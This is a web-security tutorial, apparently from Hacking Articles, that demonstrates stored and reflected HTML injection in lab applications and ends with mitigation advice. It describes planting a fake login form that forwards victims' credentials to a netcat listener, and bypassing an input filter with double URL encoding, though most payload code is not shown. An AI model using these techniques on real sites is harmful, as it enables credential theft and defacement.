Consider a web-application which is suffering from HTML Injection vulnerability and it does not validate any specific input. Thus the attacker finds this and he injects his malicious “HTML login Form” with a lure of “Free Movie tickets” to trick the victim into submitting his sensitive credentials.

Now as the victims surf that particular webpage, there he found the option to avail those “free movie tickets”. As he clicks over it, he got presented back with the application’s login screen, which is nothing but the attacker’s crafted “HTML form”. Therefore as soon as he enters his credentials, the attacker’s captures them all through his listener machine, leading the victim to compromise his data.

Impact of HTML Injection

When the input fields are not properly sanitized over in a webpage, thus sometimes this HTML Injection vulnerability might lead us to Cross-Site Scripting(XSS) or Server-Side Request Forgery(SSRF) attacks. Therefore this vulnerability has been reported with Severity Level as “Medium” and with the “CVSS Score of 5.3” under :

  1. CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page.
  2. CWE-79: Improper Neutralization of Input During Web Page Generation.

HTML Injection v/s XSS

During such attacks, there are chances when we exempt to perform an HTML Injection attack and we fall up with the XSS one because HTML injection is almost similar to Cross-site Scripting. But if we look closer between the two, we’ll notice that during an XSS attack, the attacker have an opportunity to inject and execute the Javascript codes whereas in the HTML Injection he/she is bound to use certain HTML tags in order to deface the webpage.

Let’s now dive in further with the different HTML Injection attacks and check out the unusual ways how we can deface the webpages and captures up the victim’s credentials.

Stored HTML

A “stored HTML” also termed as Persistence” because through this vulnerability the injected malicious script gets permanently store inside the web-applications server and the application server further drops it out back to the user when he visits the injected webpage. However, when the client clicks on payload which appears as an official part of the website, thus the injected HTML code will get executed by the browser.

The most common example of Stored HTML is the “comment option” in the blogs, which allow any user to enter his feedback as in the form of comments for the administrator or other users.

Let’s now try to exploit this stored HTML vulnerability and grab up some credentials.

Exploiting Stored HTML

I’ve opened the target IP in my browser and login inside BWAPP as a bee: bug, further I’ve set the “Choose Your Bug” option to HTML Injection – Stored (Blog)” and had fired up the hack button.

Now, we’ll be redirected to the web page which is suffering from an HTML Injection vulnerability which allows the user to submit his entry in the blog as shown in the screenshot.

Initially, we will generate a normal user entry through “bee” as “Hacking Articles”, in order to confirm that the input data has successfully stored up in the webserver’s database, which is thus visible in the “Entry field”.

Now, let’s try to inject our malicious payload that will create up a fake user login form over this targeted web page and thus it will forward the captured request over to our IP.

Enter the following HTML code inside the given text area in order to set up the HTML attack.  

From the below image you can see that, as I clicked over the “Submit” button, a new login form has been displayed over on the webpage. This login form is thus now into the application’s web server, which gets rendered every time whenever the victim visits this malicious login page, he’ll always have this form which looks official to him.

So let’s now enable our netcat listener at port 4444  in order to capture up the victim’s request.

Though its time to wait, until the victim boots this page up into his browser, and enters his credentials.

Great!! From the above image, you can see that the user “Raj” opened the webpage and tried to login inside as raj:123.

So let’s get back to our listener and check whether the credentials are captured in the response or not.

From the below image, you can see that we’ve successfully grabbed up the credentials.

Reflected HTML

The reflected HTML also known as Non-Persistence” is occurred when the web application responds immediately on user’s input without validating what the user entered, this can lead an attacker to inject browser executable code inside the single HTML response. It is termed “non-persistent” as the malicious script does not get stored inside the webserver, thus the attacker needs to send the malicious link through phishing to trap the user.

Reflected HTML vulnerability can be easily found in website’s search engines: here the attacker writes up some arbitrary HTML code in the search textbox and, if the website is vulnerable, the result page will return as in response to these HTML entities.

Reflect HTML is basically of three types:

  • Reflected HTML GET
  • Reflected HTML POST
  • Reflected HTML Current URL

Before making our hands wet by exploiting the Reflected HTML labs, let us recall that – with the GET method, we request data from a specific source whereas the POST method is used to send data to a server in order to create/update a resource.

Reflected HTML GET

Here, we’ve created a webpage, which thus permits up the user to submit a “feedback” with his “name”.

So, when the user “Raj Chandel” submits his feedback as “Good”, a message prompts back as “Thanks to Raj Chandel for your valuable time.”  

Thus this instant response and the “name/value” pairs in the URL shows up that, this page might be vulnerable to HTML Injection and the data has been requested over the GET method. 

So, let’s now try to inject some HTML codes into this “form” in order to be confirmed up with it. Type following  script at the “Name” field as

And set Feedback to “Good”

From the below image you can see that the user’s name “Raj Chandel” has been modified as the heading as in the response message.

Wonder why this all happened, let’s check out the following code snippet.

With the ease to reflect the message on the screen, the developer didn’t set up any input validation i.e. he simply “echo” the “Thanks message” by including up the input name through the “$_GET” variable.

“There are times when the developer sets up some validations into the input fields which thus refects our HTML code back onto the screen without getting rendered.”

From the below image you can see that when I tried to execute the HTML code in the name field, it drops it back as the plain-text as:

So is the vulnerability is patched up here?

Let’s check this all out by capturing its outgoing Request with our helping hand “burpsuite” and will further send the captured request directly to the “Repeater” tab.

In the “Repeater” tab, as I clicked over the “Go” button to check for the generated response, I found that my HTML entities have been HTML decoded here as:

Thus I coped the complete HTML code “<a href = http://hackingarticles.in”><h2>Raj</h2></a>” and pasted that all into the Decoder tab. Further from the right-hand pallet, I clicked over at “Encode as” and opted for the URL one.

As we get the encoded output, we’ll again set it over in the “Encode as” for the URL to get it as in the double URL encoded format.

Let’s now try this out, copy the complete double encoded URL and paste it over in the “name=” field within the repeater tab in the Request option.

Click on the Go button to check for its generated Response.

Great!! From the below image, you can see that we’ve successfully manipulated the Response.

Now just do the similar amendments into the Proxy tab and hit the “Forward” button. From the below image you can see that, we ‘ve defaced this web page too through its validated fields.

Let’s check out the code snippet to see where the developer had made input validation:

From the below image you can see that, here the developer had made a function as “hack” for the variable data and even he had decoded the “<” and “>” to “&lt;” and “&gt;” for $data and $input respectively, further he used the inbuilt PHP function urldecode over for $input to decode up the URL.

From the below image you can see that the developer implemented the function hack over at the name field.

Reflected HTML POST

Similar to the “GET webpage”, the “Name” and the “Feedback” fields are vulnerable here too, since the POST method has been implemented, thus the form data won’t be displayed in the URL.

Let’s try to deface this webpage again but this time we’ll add up an image rather than a static text as

From the below image, you can see that the “Ignite technologies logo” has been placed up over the screen, thus the attacker here can even inject other media formats such as videos, audios or the gifs.

Reflected HTML  Current URL

Can a web-application be vulnerable to HTML Injection with no input fields over on the web page?

Yes, it’s not necessary to have an input filed like a comment box or search box, some applications display your URL over on their webpages and they might be vulnerable to HTML Injection, as in such cases, the URL acts as the input field to it.

From the above image, you can see that the current URL is being displayed over on the web-page as http://192.168.0.16/hack/html_URL.php”. So let’s take over to this advantage and see what we can grab.

Tune in your “burpsuite” and capture the ongoing HTTP Request

Now let’s manipulate this request with :

Click on the Forward button to check the result over on the browser.

Great!! From the below image you can see that we have successfully defaced the website by simply injecting our desired HTML code into the web application’s URL.

Let’s have a look over its code and see how the developer managed to get the current URL over on the screen

Here the developer used the PHP global variable as $_SERVER in order to capture up the current page URL. Further, he amended the hostname with “HTTP_HOST” and the requested resource location to the URL with “REQUEST_URI” and placed it all in the $url variable.

Coming to the HTML section he simply set echo with the $url variable without any specific validation, in order to display the message with the URL.

Mitigation Steps

  • The developer should set up his HTML script which filters the metacharacters from user inputs.
  • The developer should implement functions to validate the user inputs such that they do not contain any specific tag that can lead to virtual defacements.

Source:

https://www.w3schools.com/ 

https://www.javatpoint.com/

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here